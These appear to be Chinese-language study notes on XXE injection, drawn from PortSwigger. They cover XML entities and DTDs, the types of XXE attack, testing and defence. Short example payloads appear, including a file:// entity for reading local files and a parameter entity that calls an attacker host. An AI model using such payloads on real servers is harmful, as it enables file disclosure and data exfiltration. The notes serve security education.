XML外部实体(XXE)注入笔记
个人总结
参考:https://portswigger.net/web-security/xxe
- name: 个人总结
desc: 参考:https://portswigger.net/web-security/xxe
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
# XML外部实体(XXE)注入笔记
# 1XML基本知识
# 1、什么是XML?
答案
XML 表示 “可扩展标记语言(Extensible Markup Language)” 。XML 是一种专门设计并用于存储和传输数据的语言。
- 与 HTML 的共同点,XML 使用标签和数据的树状结构。
- 与 HTML 的不同点,XML 不使用预定义的标签,因此,可以随意地为标签指定描述数据的名称。(XML标签的 数据和名称 都可以自定义)
在 Web 历史的早期,XML 作为一种数据传输格式 使其非常流行(“AJAX” 中的 “X” 代表 “XML”)。但它的流行程度现在已经下降,取而代之的是 JSON 格式。
# 2、什么是XML实体?
答案
XML 实体是在 XML 文档中表示数据项的一种方式,而不是数据本身。
XML 语言的规范中内置了各种实体。例如,实体<
和>
表示字符<
和>
。这两个字符是用于表示 XML 标记的元字符,因此当它们出现在数据中时,通常必须使用它们的实体形式来表示。
# 3、什么是文档类型定义?
答案
XML 文档类型定义(DTD)具有各种声明规则,它可以定义 XML 文档结构、文档内包含的数据值类型 等其他选项。DTD 在 XML 文档开头的DOCTYPE
元素中声明,该元素是可选的。
- DTD 可以完全包含在文档本身当中(称为 “内部 DTD”);
- 也可以从其他位置加载(称为 “外部 DTD”);
- 也可以是两者的混合。
# 4、什么是XML自定义实体?
答案
XML 允许你在 DTD 中创建自己的实体。例如:
<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>
# 5、什么是XML外部实体?
答案
XML 外部实体是一种自定义的实体,它的具体定义位于声明它们的 DTD 外部。
外部实体的声明使用SYSTEM
关键字,并且必须指定一个 URL,文档会从该 URL 加载实体的值。例如:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
URL 可以使用file://
协议,因此可以从文件中加载外部实体。例如:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
XML 外部实体成为了XML 外部实体攻击的主要手段。
# 6、XML参数实体?
答案
XML 参数实体是一种特殊的 XML 实体,只能在 DTD 内进行引用。在常规实体被阻止的情况下,可以改为使用参数实体。
- 首先,在定义 XML 参数实体的名称之前,必须包含百分比字符
- 其次,一般的实体通过
&
来引用,但参数实体则通过百分比字符%
来引用 - 参数实体 和 外部实体可以搭配使用
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
# 2XML外部实体注入(XXE)漏洞
# 1、XXE漏洞是如何产生的?
答案
XML 规范中包含各种潜在的危险特性,而标准解析器支持这些特性,即使应用程序通常不会用到这些特性及功能。
解析 XML 的应用程序,又几乎总是使用标准库或平台 API 来处理服务器上的 XML 数据。
# 2、XXE 攻击有哪些类型?
答案
有各种类型的 XXE 攻击:
- 利用 XXE 检索文件,其中定义了 包含文件内容 的外部实体,并在应用程序的响应中返回。
- 利用 XXE 执行 SSRF 攻击,其中,外部实体是根据后端系统的 URL 来定义的。
- 盲 XXE 漏洞
- 利用盲 XXE 实现带外泄露数据,其中,敏感数据从应用程序服务器 传输到 攻击者控制的系统上。
- 利用盲 XXE 的错误消息来检索数据,其中,攻击者可以触发 包含敏感数据 的错误消息解析。
# 3、寻找XXE注入的隐藏攻击面
# 4、如何查找和测试XXE漏洞
答案
绝大多数 XXE 漏洞都可以使用 Burp Suite 的Web 漏洞扫描程序 (opens new window)快速可靠地发现。
手动测试 XXE 漏洞通常涉及:
- 测试文件检索,基于已知的操作系统文件 来定义外部实体,并在可回显的数据中使用该实体。
- 测试盲 XXE 漏洞,基于你所控制的 URL 来定义外部实体,并监视与该 URL 的交互。Burp Collaborator (opens new window)非常适合此目的。
- 通过XInclude 攻击尝试检索已知的操作系统文件,测试服务器端 XML 文档中是否包含用户提供的非 XML 数据,以及提供该数据时的易受攻击性。
# 5、XXE注入的隐藏攻击面
# 3盲XXE漏洞
# 1、什么是盲XXE?
答案
当应用程序容易受到 XXE 注入的攻击,但不会在其响应中 返回任何已定义的外部实体参数值时,就会出现盲 XXE 漏洞。
这意味着无法直接检索服务器端文件,因此盲 XXE 通常比常规 XXE 漏洞更难利用。
# 2、如何查找和利用盲 XXE 漏洞?
答案
- 触发带外网络交互,有时会在数据交互的过程中泄露敏感数据。
- 触发 XML 解析错误,使错误消息包含敏感数据。
# 3、查找和利用盲XXE漏洞
# 4如何防范XXE漏洞
答案
实际上,几乎所有 XXE 漏洞的出现都是因为,应用程序的 XML 解析库支持某些潜在的危险 XML 功能,而应用程序通常不需要这些功能。防止 XXE 攻击最简单、最有效的方法是禁用这些功能。
- 禁用外部实体的解析
- 禁用对 XInclude 的支持
禁用这两者就足够了。这可以通过 配置选项或编程方式 覆盖默认行为来完成。有关如何 禁用不必要功能 的详细信息,请参阅 XML 解析库或 API 的文档。